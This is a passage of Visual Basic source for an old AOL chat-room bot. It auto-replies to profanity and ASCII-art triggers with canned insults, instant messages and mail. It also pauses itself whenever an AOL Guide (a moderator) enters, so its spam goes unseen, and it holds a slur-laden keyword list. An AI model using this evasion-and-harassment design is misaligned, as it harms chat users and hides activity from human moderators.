        YMS31 = ChatNameSp1 + ", Yo momma's so ugly she went into a haunted house and came out with a job application!"
        YMS32 = "Oh yeah, " + ChatNameSp1 + ", tell your mamma I said thanks!"
      End If

      If SInsult1 = 2 Or SInsult2 = 2 Or SInsult3 = 2 Or SInsult4 = 2 Or SInsult5 = 2 Or SInsult6 = 2 Or SInsult7 = 2 Or SInsult8 = 2 Or SInsult9 = 2 Or SInsult10 = 2 Then
        Randomize

        upperbound = 32
        lowerbound = 1

        RandomChoice = Int((upperbound - lowerbound + 1) * Rnd + lowerbound)

        If RandomChoice = 1 Then DaInsult = YMS1
        If RandomChoice = 2 Then DaInsult = YMS2
        If RandomChoice = 3 Then DaInsult = YMS3
        If RandomChoice = 4 Then DaInsult = YMS4
        If RandomChoice = 5 Then DaInsult = YMS5
        If RandomChoice = 6 Then DaInsult = YMS6
        If RandomChoice = 7 Then DaInsult = YMS7
        If RandomChoice = 8 Then DaInsult = YMS8
        If RandomChoice = 9 Then DaInsult = YMS9
        If RandomChoice = 10 Then DaInsult = YMS10
        If RandomChoice = 11 Then DaInsult = YMS11
        If RandomChoice = 12 Then DaInsult = YMS12
        If RandomChoice = 13 Then DaInsult = YMS13
        If RandomChoice = 14 Then DaInsult = YMS14
        If RandomChoice = 15 Then DaInsult = YMS15
        If RandomChoice = 16 Then DaInsult = YMS16
        If RandomChoice = 17 Then DaInsult = YMS17
        If RandomChoice = 18 Then DaInsult = YMS18
        If RandomChoice = 19 Then DaInsult = YMS19
        If RandomChoice = 20 Then DaInsult = YMS20
        If RandomChoice = 21 Then DaInsult = YMS21
        If RandomChoice = 22 Then DaInsult = YMS22
        If RandomChoice = 23 Then DaInsult = YMS23
        If RandomChoice = 24 Then DaInsult = YMS24
        If RandomChoice = 25 Then DaInsult = YMS25
        If RandomChoice = 26 Then DaInsult = YMS26
        If RandomChoice = 27 Then DaInsult = YMS27
        If RandomChoice = 28 Then DaInsult = YMS28
        If RandomChoice = 29 Then DaInsult = YMS29
        If RandomChoice = 30 Then DaInsult = YMS30
        If RandomChoice = 31 Then DaInsult = YMS31
        If RandomChoice = 32 Then DaInsult = YMS32
      End If

      LastChat = ChatLine
      LastChat = UCase$(LastChat)

      Message1 = UCase$(Message1)
      Message2 = UCase$(Message2)
      Message3 = UCase$(Message3)
      Message4 = UCase$(Message4)
      Message5 = UCase$(Message5)
      Message6 = UCase$(Message6)
      Message7 = UCase$(Message7)
      Message8 = UCase$(Message8)
      Message9 = UCase$(Message9)
      Message10 = UCase$(Message10)

      Person1 = UCase$(Person1)
      Person2 = UCase$(Person2)
      Person3 = UCase$(Person3)
      Person4 = UCase$(Person4)
      Person5 = UCase$(Person5)

      Word1 = UCase$(Word1)
      Word2 = UCase$(Word2)
      Word3 = UCase$(Word3)

    'ChatLineSp = ChatLine
    'ChatNameSp = ChatName

      ChatLine = UCase$(ChatLine)
      ChatName = UCase$(ChatName)

      LastChat = ChatLine

    '14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

      If Check3D14.Value = True Then

        InRoom1 = InStr(ChatLine, "HAS ENTERED THE ROOM.")
        InRoom2 = InStr(ChatLine, "HAS LEFT THE ROOM.")

        If InRoom1 > 0 Then
          HCame1 = InStr(ChatLineSp, ":")
          HCame2 = HCame1 + 2
          ThisWeird = InStr(ChatLineSp, "has entered")
          ThisWeird = ThisWeird - 2
          HCame3 = Mid$(ChatLineSp, HCame2, ThisWeird)
          HCame4 = InStr(HCame3, "has entered")
          HCame5 = HCame4 - 2
          HCame6 = Mid$(HCame3, 1, HCame5)
          DaGuide = HCame6
        End If

        If InRoom2 > 0 Then
          HCame1 = InStr(ChatLineSp, ":")
          HCame2 = HCame1 + 2
          ThisWeird = InStr(ChatLineSp, "has left")
          ThisWeird = ThisWeird - 2
          HCame3 = Mid$(ChatLineSp, HCame2, ThisWeird)
          HCame4 = InStr(HCame3, "has left")
          HCame5 = HCame4 - 2
          HCame6 = Mid$(HCame3, 1, HCame5)
          DaGuide = HCame6
        End If

        If InRoom2 > 0 And Option1.Value = True Then
          InPer2 = InStr(ChatLine, TheGuide)
        End If
        If InPer2 > 0 Then
          If ch1 = 1 Then Check3D1.Value = True
          If ch2 = 1 Then Check3D2.Value = True
          If ch3 = 1 Then Check3D3.Value = True
          If ch4 = 1 Then Check3D4.Value = True
          If ch5 = 1 Then Check3D5.Value = True
          If ch6 = 1 Then Check3D6.Value = True
          If ch7 = 1 Then Check3D7.Value = True
          If ch8 = 1 Then Check3D8.Value = True
          If ch9 = 1 Then Check3D9.Value = True
          If ch10 = 1 Then Check3D10.Value = True
          If ch11 = 1 Then Check3D11.Value = True
          If ch12 = 1 Then Check3D12.Value = True
          If ch13 = 1 Then Check3D13.Value = True
          If ch21 = 1 Then Check3D21.Value = True

        'Timer1.Enabled = True
        'Timer2.Enabled = True
          Unload Attention
        End If

        If InRoom1 > 0 Then
          InPer1 = InStr(ChatLine, "GUIDE") '<---Should be "GUIDE"
        End If

        If InPer1 > 0 Then
          If Option2.Value = True Then
            Response = MsgBox("A Guide (" + DaGuide + ") has entered the room!  Would you like to shut down the AI Bot?", 36, "Guide Alert!")
          'Possible Response values: 6--YES, 7--NO.
            If Response = 6 Then
              Unload Me
            ElseIf Response = 7 Then do1 = 2

            End If

          End If
          If Option1.Value = True Then
            TheGuide = UCase$(DaGuide)
            If Check3D1.Value = True Then ch1 = 1
            If Check3D2.Value = True Then ch2 = 1
            If Check3D3.Value = True Then ch3 = 1
            If Check3D4.Value = True Then ch4 = 1
            If Check3D5.Value = True Then ch5 = 1
            If Check3D6.Value = True Then ch6 = 1
            If Check3D7.Value = True Then ch7 = 1
            If Check3D8.Value = True Then ch8 = 1
            If Check3D9.Value = True Then ch9 = 1
            If Check3D10.Value = True Then c10 = 1
            If Check3D11.Value = True Then c11 = 1
            If Check3D12.Value = True Then ch12 = 1
            If Check3D13.Value = True Then ch13 = 1
            If Check3D21.Value = True Then ch21 = 1
            Check3D1.Value = False
            Check3D2.Value = False
            Check3D3.Value = False
            Check3D4.Value = False
            Check3D5.Value = False
            Check3D6.Value = False
            Check3D7.Value = False
            Check3D8.Value = False
            Check3D9.Value = False
            Check3D10.Value = False
            Check3D11.Value = False
            Check3D12.Value = False
            Check3D13.Value = False
            Check3D21.Value = False

          'Timer1.Enabled = False
          'Timer2.Enabled = False
            Attention.Show
            Attention.Label1.Caption = "A Guide (" + DaGuide + ") has entered the room.  Tempararily pausing the AI Bot until " + DaGuide + " leaves."
            AppActivate "America  Online"
            DoEvents
          End If
        End If
      End If

    '1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

      If Check3D1.Value = True Then
       ' MsgBox ChatLine
       ' MsgBox ChatLineSp

        Said1 = InStr(ChatLine, "FUCK")
        Said2 = InStr(ChatLine, "SHIT")
        Said3 = InStr(ChatLine, "BITCH")
        Said4 = InStr(ChatLine, " ASS ")
        Said5 = InStr(ChatLine, "JACKOFF")
        Said6 = InStr(ChatLine, "COCK")
        Said7 = InStr(ChatLine, "PUSSY")
        Said8 = InStr(ChatLine, "WHORE")
        Said9 = InStr(ChatLine, "FAGGOT")
        Said10 = InStr(ChatLine, "SLUT")
        Said11 = InStr(ChatLine, "ASSHOLE")
        Said12 = InStr(ChatLine, "CUNT")
        Said13 = InStr(ChatLine, "DICKHEAD")
      '  MsgBox Len(ChatLine)
      '  MsgBox Str(Said1) + Str(Said2) + Str(Said3) + Str(Said4) + Str(Said5) + Str(Said6) + Str(Said7) + Str(Said8) + Str(Said9) + Str(Said10) + Str(Said11) + Str(Said12) + Str(Said13)

        Name1 = InStr(Message1, "{SN}")

        If Name1 > 0 Then
          Name3 = Name1 - 1
          Part1 = Mid$(Message1Sp, 1, Name3)
          Name2 = Name1 + 4
          Part2 = Mid$(Message1Sp, Name2)
        End If

   If Said1 > 104 Or Said2 > 104 Or Said3 > 104 Or Said4 > 104 Or Said5 > 104 Or Said6 > 104 Or Said7 > 104 Or Said8 > 104 Or Said9 > 104 Or Said10 > 104 Or Said11 > 104 Or Said12 > 104 Or Said13 > 104 Then GoTo Nect
        If Said1 Or Said2 Or Said3 Or Said4 Or Said5 Or Said6 Or Said7 Or Said8 Or Said9 Or Said10 Or Said11 Or Said12 Or Said13 > 0 Then
          Werd1 = InStr(ChatNameSp, ScreenName)
          DidHostSay = InStr(ChatNameSp, "OnlineHost")
          If Werd1 > 0 Or DidHostSay > 0 Then GoTo Nect

          If Event1 = 1 Then

          '*********************Send Message Beginning

            lint = 2000
            If Name1 > 0 Then

              lpstring = Part1 + ChatNameSp + Part2
            Else
              lpstring = Message1Sp
            End If

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
            DoEvents
            Call Pause(.3)
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP

          End If

          If Event1 = 7 Then

            If InsultNum1 = "1" Then DaInsult = YMS1
            If InsultNum1 = "2" Then DaInsult = YMS2
            If InsultNum1 = "3" Then DaInsult = YMS3
            If InsultNum1 = "4" Then DaInsult = YMS4
            If InsultNum1 = "5" Then DaInsult = YMS5
            If InsultNum1 = "6" Then DaInsult = YMS6
            If InsultNum1 = "7" Then DaInsult = YMS7
            If InsultNum1 = "8" Then DaInsult = YMS8
            If InsultNum1 = "9" Then DaInsult = YMS9
            If InsultNum1 = "10" Then DaInsult = YMS10
            If InsultNum1 = "11" Then DaInsult = YMS11
            If InsultNum1 = "12" Then DaInsult = YMS12
            If InsultNum1 = "13" Then DaInsult = YMS13
            If InsultNum1 = "14" Then DaInsult = YMS14
            If InsultNum1 = "15" Then DaInsult = YMS15
            If InsultNum1 = "16" Then DaInsult = YMS16
            If InsultNum1 = "17" Then DaInsult = YMS17
            If InsultNum1 = "18" Then DaInsult = YMS18
            If InsultNum1 = "19" Then DaInsult = YMS19
            If InsultNum1 = "20" Then DaInsult = YMS20
            If InsultNum1 = "21" Then DaInsult = YMS21
            If InsultNum1 = "22" Then DaInsult = YMS22
            If InsultNum1 = "23" Then DaInsult = YMS23
            If InsultNum1 = "24" Then DaInsult = YMS24
            If InsultNum1 = "25" Then DaInsult = YMS25
            If InsultNum1 = "26" Then DaInsult = YMS26
            If InsultNum1 = "27" Then DaInsult = YMS27
            If InsultNum1 = "28" Then DaInsult = YMS28
            If InsultNum1 = "29" Then DaInsult = YMS29
            If InsultNum1 = "30" Then DaInsult = YMS30
            If InsultNum1 = "31" Then DaInsult = YMS31
            If InsultNum1 = "32" Then DaInsult = YMS32

            lint = 2000

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, DaInsult)
            DoEvents
            Call Pause(.3)
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
          End If

          If Event1 = 5 Then
            bac = Chr$(13)
            jojo4 = "List" + bac + "Rooms"
            thiswin% = FindWindow(0, "America  Online")
            RoomIcon = FindChildByTitle(thiswin%, jojo4)
          'MsgBox Str(RoomIcon)
            RoomIcon = RoomIcon + 4

            On Error GoTo Con4
            VBMsg3.SubClasshWnd = RoomIcon
            VBMsg3.SendMessage = WM_LBUTTONDOWN
            VBMsg3.SendMessage = WM_LBUTTONUP
            DoEvents
            Call Pause(1)
            SendKeys "{ESC 3}"
            DoEvents
            Call Pause(3)
            DoEvents

            If TypeR1 = 1 Then
              CreateBut = FindChildByTitle(thiswin%, "Create Room")
              VBMsg3.SubClasshWnd = CreateBut
              VBMsg3.SendMessage = WM_LBUTTONDOWN
              VBMsg3.SendMessage = WM_LBUTTONUP
              DoEvents
              Call Pause(2)
              MemWin = FindChildByTitle(thiswin%, "Create a Member Room")
              MemEdit = FindChildByClass(MemWin, "_AOL_Edit")
              lint = 3000
              lpstring = RName1
              SendIM = SendMessageByString(MemEdit, WM_SETTEXT, lint, lpstring)
              DoEvents
              SendKeys "{ENTER}"
            End If

            If TypeR1 = 2 Then
              PrivateBut = FindChildByTitle(thiswin%, "Private Room")
              VBMsg3.SubClasshWnd = PrivateBut
              VBMsg3.SendMessage = WM_LBUTTONDOWN
              VBMsg3.SendMessage = WM_LBUTTONUP
              DoEvents
              Call Pause(2)
              MemWin = FindChildByTitle(thiswin%, "Enter a Private Room")
              MemEdit = FindChildByClass(MemWin, "_AOL_Edit")
              lint = 3000
              lpstring = RName1
              SendIM = SendMessageByString(MemEdit, WM_SETTEXT, lint, lpstring)
              DoEvents
              SendKeys "{ENTER}"
            End If

          End If

Con4:
          On Error GoTo Err2

          If Event1 = 3 Then
            TempName = ChatNameSp

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%B{DOWN 3}{ENTER}"
            DoEvents
            Call Pause(.4)
            lint = 3000
            thiswin% = FindWindow(0, "America  Online")
            InstantWin = FindChildByTitle(thiswin%, "Send Instant Message")
            IMEdit1 = VBEnumChildWindows(InstantWin, 2)
            IMEdit = VBEnumChildWindows(InstantWin, 3)

            lpstring = IMTo1
            DidIM = InStr(lpstring, "{SN}")
            If DidIM > 0 Then
              lpstring = TempName
            End If
            SendName = SendMessageByString(IMEdit1, WM_SETTEXT, lint, lpstring)
            DoEvents
            lpstring = IMess1
            SendIM = SendMessageByString(IMEdit, WM_SETTEXT, lint, lpstring)
            DoEvents
            SendButton = FindChildByTitle(InstantWin, "Send")
            VBMsg1.SubClasshWnd = SendButton
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
            DoEvents
            Call Pause(1.5)
            MBox = FindWindow(0, "America Online")
            If MBox <> 0 Then
              DoEvents
              SendKeys "{ENTER}"
              DoEvents
            End If
          End If

          If Event1 = 2 Then
            NameTemp = ChatNameSp
            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%MC"
            DoEvents
            Call Pause(.5)
            thiswin% = FindWindow(0, "America  Online")
            ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
            SendButton2 = VBEnumChildWindows(ComposeHand, 2)
            ToField = VBEnumChildWindows(ComposeHand, 10)
            SubField = VBEnumChildWindows(ComposeHand, 14)
            MsgField = VBEnumChildWindows(ComposeHand, 17)
            VBMsg3.SubClasshWnd = SendButton2
            lint = 20000
            lpstring = SendTo1
            DidName = InStr(SendTo1, "{SN}")
            If DidName > 0 Then lpstring = NameTemp
            ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)   ',lint
            DoEvents
            lpstring = MSubject1
            SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            lpstring = MMessage1

            MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            Call Pause(.3)
            VBMsg3.SendMessage = WM_LBUTTONDOWN
            VBMsg3.SendMessage = WM_LBUTTONUP
            DoEvents

            thiswin2% = FindWindow(0, "America Online")
            While thiswin2% = 0
              DoEvents
              thiswin2% = FindWindow(0, "America Online")
            Wend
            DoEvents
            Call Pause(.2)
            SendKeys "{ENTER}"

          End If
        End If
      End If
Nect:

    'DidHostSay = InStr(ChatNameSp, "OnlineHost")
    ' If DidHostSay > 0 Then Exit Sub

      If Check3D2.Value = True Then

        ChatName2 = InStr(ChatName, Person1)

        If ChatName2 > 0 Then

          ChatLine2 = InStr(ChatLine, Word1)

          If ChatLine2 > 0 Then

            If Event2 = 3 Then
              TempName = ChatNameSp

              DoEvents
              AppActivate "America  Online"
              DoEvents
              SendKeys "%B{DOWN 3}{ENTER}"
              DoEvents
              Call Pause(.4)
              lint = 3000
              thiswin% = FindWindow(0, "America  Online")
              InstantWin = FindChildByTitle(thiswin%, "Send Instant Message")
              IMEdit1 = VBEnumChildWindows(InstantWin, 2)
              IMEdit = VBEnumChildWindows(InstantWin, 3)

              lpstring = IMTo2
              DidIM = InStr(lpstring, "{SN}")
              If DidIM > 0 Then
                lpstring = TempName
              End If
              SendName = SendMessageByString(IMEdit1, WM_SETTEXT, lint, lpstring)
              DoEvents
              lpstring = IMess2
              SendIM = SendMessageByString(IMEdit, WM_SETTEXT, lint, lpstring)
              DoEvents
              SendButton = FindChildByTitle(InstantWin, "Send")
              VBMsg1.SubClasshWnd = SendButton
              VBMsg1.SendMessage = WM_LBUTTONDOWN
              VBMsg1.SendMessage = WM_LBUTTONUP
              DoEvents
              Call Pause(1.5)
              MBox = FindWindow(0, "America Online")
              If MBox <> 0 Then
                DoEvents
                SendKeys "{ENTER}"
                DoEvents
              End If
            End If

            If Event2 = 1 Then

              Name1 = InStr(Message2, "{SN}")

              If Name1 > 0 Then
                Name3 = Name1 - 1
                Part1 = Mid$(Message2Sp, 1, Name3)
                Name2 = Name1 + 4
                Part2 = Mid$(Message2Sp, Name2)
              End If

              lint = 2000
              If Name1 > 0 Then

                lpstring = Part1 + ChatNameSp + Part2
              Else
                lpstring = Message2Sp
              End If

              X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)    ',lint

              If Check3D1.Value = True Then
                DoEvents
                Call Pause(.4)
              End If

              VBMsg1.SendMessage = WM_LBUTTONDOWN
              VBMsg1.SendMessage = WM_LBUTTONUP

            End If

            If Event2 = 7 Then
              If InsultNum2 = "1" Then DaInsult = YMS1
              If InsultNum2 = "2" Then DaInsult = YMS2
              If InsultNum2 = "3" Then DaInsult = YMS3
              If InsultNum2 = "4" Then DaInsult = YMS4
              If InsultNum2 = "5" Then DaInsult = YMS5
              If InsultNum2 = "6" Then DaInsult = YMS6
              If InsultNum2 = "7" Then DaInsult = YMS7
              If InsultNum2 = "8" Then DaInsult = YMS8
              If InsultNum2 = "9" Then DaInsult = YMS9
              If InsultNum2 = "10" Then DaInsult = YMS10
              If InsultNum2 = "11" Then DaInsult = YMS11
              If InsultNum2 = "12" Then DaInsult = YMS12
              If InsultNum2 = "13" Then DaInsult = YMS13
              If InsultNum2 = "14" Then DaInsult = YMS14
              If InsultNum2 = "15" Then DaInsult = YMS15
              If InsultNum2 = "16" Then DaInsult = YMS16
              If InsultNum2 = "17" Then DaInsult = YMS17
              If InsultNum2 = "18" Then DaInsult = YMS18
              If InsultNum2 = "19" Then DaInsult = YMS19
              If InsultNum2 = "20" Then DaInsult = YMS20
              If InsultNum2 = "21" Then DaInsult = YMS21
              If InsultNum2 = "22" Then DaInsult = YMS22
              If InsultNum2 = "23" Then DaInsult = YMS23
              If InsultNum2 = "24" Then DaInsult = YMS24
              If InsultNum2 = "25" Then DaInsult = YMS25
              If InsultNum2 = "26" Then DaInsult = YMS26
              If InsultNum2 = "27" Then DaInsult = YMS27
              If InsultNum2 = "28" Then DaInsult = YMS28
              If InsultNum2 = "29" Then DaInsult = YMS29
              If InsultNum2 = "30" Then DaInsult = YMS30
              If InsultNum2 = "31" Then DaInsult = YMS31
              If InsultNum2 = "32" Then DaInsult = YMS32

              lint = 2000

              X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, DaInsult)
              DoEvents
              Call Pause(.3)
              VBMsg1.SendMessage = WM_LBUTTONDOWN
              VBMsg1.SendMessage = WM_LBUTTONUP
            End If

            If Event2 = 2 Then
              NameTemp = ChatNameSp
              DoEvents
              AppActivate "America  Online"
              DoEvents
              SendKeys "%MC"
              DoEvents
              Call Pause(.5)
              thiswin% = FindWindow(0, "America  Online")
              ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
              SendButton2 = VBEnumChildWindows(ComposeHand, 2)
              ToField = VBEnumChildWindows(ComposeHand, 10)
              SubField = VBEnumChildWindows(ComposeHand, 14)
              MsgField = VBEnumChildWindows(ComposeHand, 17)
              VBMsg3.SubClasshWnd = SendButton2
              lint = 20000
              lpstring = SendTo2
              DidName = InStr(SendTo2, "{SN}")
              If DidName > 0 Then lpstring = NameTemp
              ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring) ',lint
              DoEvents
              lpstring = MSubject2
              SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring)   ',lint
              DoEvents
              lpstring = MMessage2

              MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring)   ',lint
              DoEvents
              Call Pause(.3)
              VBMsg3.SendMessage = WM_LBUTTONDOWN
              VBMsg3.SendMessage = WM_LBUTTONUP
              DoEvents

              thiswin2% = FindWindow(0, "America Online")
              While thiswin2% = 0
                DoEvents
                thiswin2% = FindWindow(0, "America Online")
              Wend
              DoEvents
              Call Pause(.2)
              SendKeys "{ENTER}"
            End If
          End If
        End If
      End If
      If Check3D3.Value = True Then
        DidHostSay = InStr(ChatNameSp, "OnlineHost")
        If DidHostSay > 0 Then Exit Sub

        Finger1 = InStr(ChatLine, ".           \")

        If Finger1 > 0 Then

          If Event3 = 1 Then

            Name1 = InStr(Message3, "{SN}")

            If Name1 > 0 Then
              Name3 = Name1 - 1
              Part1 = Mid$(Message3Sp, 1, Name3)
              Name2 = Name1 + 4
              Part2 = Mid$(Message3Sp, Name2)
            End If

          'thiswin% = FindWindow(0, "America  Online")
          'find% = FindChildByClass(thiswin%, "_AOL_Edit")

            lint = 2000
            If Name1 > 0 Then

              lpstring = Part1 + ChatNameSp + Part2
            Else
              lpstring = Message3Sp
            End If

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)  ',lint

            If Check3D1.Value = True Or Check3D2.Value = True Then
              DoEvents
              Call Pause(.4)
            End If

            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP

          End If

          If Event3 = 7 Then
            If InsultNum3 = "1" Then DaInsult = YMS1
            If InsultNum3 = "2" Then DaInsult = YMS2
            If InsultNum3 = "3" Then DaInsult = YMS3
            If InsultNum3 = "4" Then DaInsult = YMS4
            If InsultNum3 = "5" Then DaInsult = YMS5
            If InsultNum3 = "6" Then DaInsult = YMS6
            If InsultNum3 = "7" Then DaInsult = YMS7
            If InsultNum3 = "8" Then DaInsult = YMS8
            If InsultNum3 = "9" Then DaInsult = YMS9
            If InsultNum3 = "10" Then DaInsult = YMS10
            If InsultNum3 = "11" Then DaInsult = YMS11
            If InsultNum3 = "12" Then DaInsult = YMS12
            If InsultNum3 = "13" Then DaInsult = YMS13
            If InsultNum3 = "14" Then DaInsult = YMS14
            If InsultNum3 = "15" Then DaInsult = YMS15
            If InsultNum3 = "16" Then DaInsult = YMS16
            If InsultNum3 = "17" Then DaInsult = YMS17
            If InsultNum3 = "18" Then DaInsult = YMS18
            If InsultNum3 = "19" Then DaInsult = YMS19
            If InsultNum3 = "20" Then DaInsult = YMS20
            If InsultNum3 = "21" Then DaInsult = YMS21
            If InsultNum3 = "22" Then DaInsult = YMS22
            If InsultNum3 = "23" Then DaInsult = YMS23
            If InsultNum3 = "24" Then DaInsult = YMS24
            If InsultNum3 = "25" Then DaInsult = YMS25
            If InsultNum3 = "26" Then DaInsult = YMS26
            If InsultNum3 = "27" Then DaInsult = YMS27
            If InsultNum3 = "28" Then DaInsult = YMS28
            If InsultNum3 = "29" Then DaInsult = YMS29
            If InsultNum3 = "30" Then DaInsult = YMS30
            If InsultNum3 = "31" Then DaInsult = YMS31
            If InsultNum3 = "32" Then DaInsult = YMS32

            lint = 2000

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, DaInsult)
            DoEvents
            Call Pause(.3)
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
          End If

          If Event3 = 3 Then
            TempName = ChatNameSp

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%B{DOWN 3}{ENTER}"
            DoEvents
            Call Pause(.4)
            lint = 3000
            thiswin% = FindWindow(0, "America  Online")
            InstantWin = FindChildByTitle(thiswin%, "Send Instant Message")
            IMEdit1 = VBEnumChildWindows(InstantWin, 2)
            IMEdit = VBEnumChildWindows(InstantWin, 3)

            lpstring = IMTo3
            DidIM = InStr(lpstring, "{SN}")
            If DidIM > 0 Then
              lpstring = TempName
            End If
            SendName = SendMessageByString(IMEdit1, WM_SETTEXT, lint, lpstring)
            DoEvents
            lpstring = IMess3
            SendIM = SendMessageByString(IMEdit, WM_SETTEXT, lint, lpstring)
            DoEvents
            SendButton = FindChildByTitle(InstantWin, "Send")
            VBMsg1.SubClasshWnd = SendButton
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
            DoEvents
            Call Pause(1.5)
            MBox = FindWindow(0, "America Online")
            If MBox <> 0 Then
              DoEvents
              SendKeys "{ENTER}"
              DoEvents
            End If
          End If

          If Event3 = 2 Then
            NameTemp = ChatNameSp

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%MC"
            DoEvents
            Call Pause(.5)
            thiswin% = FindWindow(0, "America  Online")
            ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
            SendButton2 = VBEnumChildWindows(ComposeHand, 2)
            ToField = VBEnumChildWindows(ComposeHand, 10)
            SubField = VBEnumChildWindows(ComposeHand, 14)
            MsgField = VBEnumChildWindows(ComposeHand, 17)
            VBMsg3.SubClasshWnd = SendButton2
            lint = 20000
            lpstring = SendTo3
            DidName = InStr(SendTo3, "{SN}")
            If DidName > 0 Then lpstring = NameTemp
            ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)   ',lint
            DoEvents
            lpstring = MSubject3
            SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            lpstring = MMessage3

            MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            Call Pause(.3)
            VBMsg3.SendMessage = WM_LBUTTONDOWN
            VBMsg3.SendMessage = WM_LBUTTONUP
            DoEvents

            thiswin2% = FindWindow(0, "America Online")
            While thiswin2% = 0
              DoEvents
              thiswin2% = FindWindow(0, "America Online")
            Wend
            DoEvents
            Call Pause(.2)
            SendKeys "{ENTER}"

          End If
        End If
      End If
      If Check3D4.Value = True Then
        DidHostSay = InStr(ChatNameSp, "OnlineHost")
        If DidHostSay > 0 Then Exit Sub

        Gun1 = InStr(ChatLine, ".|_______//")

        If Gun1 > 0 Then

          If Event4 = 1 Then

            Name1 = InStr(Message4, "{SN}")

            If Name1 > 0 Then
              Name3 = Name1 - 1
              Part1 = Mid$(Message4Sp, 1, Name3)
              Name2 = Name1 + 4
              Part2 = Mid$(Message4Sp, Name2)
            End If

          'thiswin% = FindWindow(0, "America  Online")
          'find% = FindChildByClass(thiswin%, "_AOL_Edit")

            lint = 2000
            If Name1 > 0 Then

              lpstring = Part1 + ChatNameSp + Part2
            Else
              lpstring = Message4Sp
            End If

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)  ',lint

            If Check3D1.Value = True Or Check3D2.Value = True Or Check3D3.Value = True Then
              DoEvents
              Call Pause(.4)
            End If

            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP

          End If

          If Event4 = 7 Then
            If InsultNum4 = "1" Then DaInsult = YMS1
            If InsultNum4 = "2" Then DaInsult = YMS2
            If InsultNum4 = "3" Then DaInsult = YMS3
            If InsultNum4 = "4" Then DaInsult = YMS4
            If InsultNum4 = "5" Then DaInsult = YMS5
            If InsultNum4 = "6" Then DaInsult = YMS6
            If InsultNum4 = "7" Then DaInsult = YMS7
            If InsultNum4 = "8" Then DaInsult = YMS8
            If InsultNum4 = "9" Then DaInsult = YMS9
            If InsultNum4 = "10" Then DaInsult = YMS10
            If InsultNum4 = "11" Then DaInsult = YMS11
            If InsultNum4 = "12" Then DaInsult = YMS12
            If InsultNum4 = "13" Then DaInsult = YMS13
            If InsultNum4 = "14" Then DaInsult = YMS14
            If InsultNum4 = "15" Then DaInsult = YMS15
            If InsultNum4 = "16" Then DaInsult = YMS16
            If InsultNum4 = "17" Then DaInsult = YMS17
            If InsultNum4 = "18" Then DaInsult = YMS18
            If InsultNum4 = "19" Then DaInsult = YMS19
            If InsultNum4 = "20" Then DaInsult = YMS20
            If InsultNum4 = "21" Then DaInsult = YMS21
            If InsultNum4 = "22" Then DaInsult = YMS22
            If InsultNum4 = "23" Then DaInsult = YMS23
            If InsultNum4 = "24" Then DaInsult = YMS24
            If InsultNum4 = "25" Then DaInsult = YMS25
            If InsultNum4 = "26" Then DaInsult = YMS26
            If InsultNum4 = "27" Then DaInsult = YMS27
            If InsultNum4 = "28" Then DaInsult = YMS28
            If InsultNum4 = "29" Then DaInsult = YMS29
            If InsultNum4 = "30" Then DaInsult = YMS30
            If InsultNum4 = "31" Then DaInsult = YMS31
            If InsultNum4 = "32" Then DaInsult = YMS32

            lint = 2000

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, DaInsult)
            DoEvents
            Call Pause(.3)
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
          End If

          If Event4 = 3 Then
            TempName = ChatNameSp

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%B{DOWN 3}{ENTER}"
            DoEvents
            Call Pause(.4)
            lint = 3000
            thiswin% = FindWindow(0, "America  Online")
            InstantWin = FindChildByTitle(thiswin%, "Send Instant Message")
            IMEdit1 = VBEnumChildWindows(InstantWin, 2)
            IMEdit = VBEnumChildWindows(InstantWin, 3)

            lpstring = IMTo4
            DidIM = InStr(lpstring, "{SN}")
            If DidIM > 0 Then
              lpstring = TempName
            End If
            SendName = SendMessageByString(IMEdit1, WM_SETTEXT, lint, lpstring)
            DoEvents
            lpstring = IMess4
            SendIM = SendMessageByString(IMEdit, WM_SETTEXT, lint, lpstring)
            DoEvents
            SendButton = FindChildByTitle(InstantWin, "Send")
            VBMsg1.SubClasshWnd = SendButton
            VBMsg1.SendMessage = WM_LBUTTONDOWN
